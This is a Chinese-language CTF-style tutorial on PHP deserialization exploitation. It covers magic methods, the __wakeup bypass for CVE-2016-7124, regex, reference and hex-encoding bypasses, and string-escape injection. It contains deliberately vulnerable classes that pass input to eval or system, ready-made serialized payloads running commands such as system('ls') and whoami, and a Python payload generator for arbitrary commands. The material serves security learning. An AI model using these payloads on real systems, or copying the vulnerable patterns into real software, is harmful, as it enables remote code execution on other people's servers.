序列化和反序列化
魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __wakeup() __sleep() __construct() __destruct() __call() __callStatic() __get() __set() __isset() __unset() __toString() __invoke() __set_state()
|
绕过和利用方法
绕过__wakeup()(CVE-2016-7124)
版本限制
PHP5 < 5.6.25
PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
1 2 3 4 5 6 7 8 9
| class test{ public $code; public function __wakeup(){ $this->code='phpinfo();'; } public function __destruct(){ eval($this->code) } }
|
1 2 3
| O:4:"test":1:{s:4:"code";s:15:"system('calc');";} -> phpinfo()
O:4:"test":2:{s:4:"code";s:15:"system('calc');";} -> system('calc')
|
‘O’正则绕过
1 2 3 4 5 6 7 8 9 10 11 12
| class backdoor{ public $name; public function __destruct(){ eval($this->name); } } $data = $_POST['data'];
if (preg_match('/^O:\d+/i',$data)){ die("object not allow unserialize"); } unserialize($data);
|
方法1:+号绕过(url编码%2B)
1
| O:+8:"backdoor":1:{s:4:"name";s:13:"system('ls');";}
|
方法2:数组绕过
1 2 3 4 5
| $a = new backdoor(); $a->name="phpinfo()"; $b = serialize(array($a)); unserialize($b);
|
引用绕过
1 2 3 4 5 6 7 8 9
| class login{ public $password; public $secret; public function check_login(){ if($this->password==$this->secret){ echo "got flag"; } } }
|
1 2 3 4
| $a = new login(); $a->password=&$a->secret; echo serialize($a);
|
上面这个例子让password指向secret的引用,两个引用相同的变量自然相等。
16进制绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| class test{ public $username; public function __construct(){ $this->username = 'admin'; } public function __destruct(){ echo 666; } } function check($data){ if(stristr($data, 'username')!==False){ echo("你绕不过!!".PHP_EOL); } else{ return $data; } }
|
1 2 3 4
| O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";} 可以写成 O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";} 表示字符类型的s大写时,会被当成16进制解析。
|
1 2 3 4
| $a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}'; $a = check($a); unserialize($a);
|
异常绕过
1 2 3 4 5 6 7 8 9
| class backdoor{ public function __destruct(){ echo "got flag"; } } $data = $_POST['data']; if(unserialize($data)){ throw new Exception("not allow unserialize"); }
|
这里抛出异常不会对反序列化有影响, 正常操作即可
字符逃逸
情况1:过滤后字符变多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class backdoor{ public $m; public function __construct($m){ $this->m= $m; $this->a= "whoami"; } public function __destruct(){ system($this->a); } } function filter($str){ return str_replace("system","ctfshow",$str); }
$m = $_POST['m']; $b = new backdoor($m); $c = filter(serialize($b)); unserialize($c);
|
O:8:"backdoor":2:{s:1:"m";s:6:"ctfshow";s:1:"a";s:6:"whoami";}
可以看见 ctfshow有7个字符 但是只会生效6个 逃逸了1字符
所以我们只要添加足够多的system
前缀, 就可以自己写后续的序列化内容
现在我们想写入命令到a中,即要添加s:1:"a";s:6:"whoami";
共21个字符, 加上前面ctfshow要闭合";
后面要加;}
所以共要逃逸25个字符。最终paylod就是
1
| systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:6:"whoami";}
|
写个脚本方便生成payload
1 2 3 4
| cmd = input("你要执行的命令是:") back = f'";s:1:"a";s:{len(cmd)}:"{cmd}";}}' payload = "system"*len(back)+back print(payload)
|
1 2 3
| > 你要执行的命令是:ls /
systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:4:"ls /";}
|
情况2:过滤后字符变少
思路同上,一样逃逸字符后拼接
phar反序列化
phar反序列化浅析
session反序列化
session反序列化浅析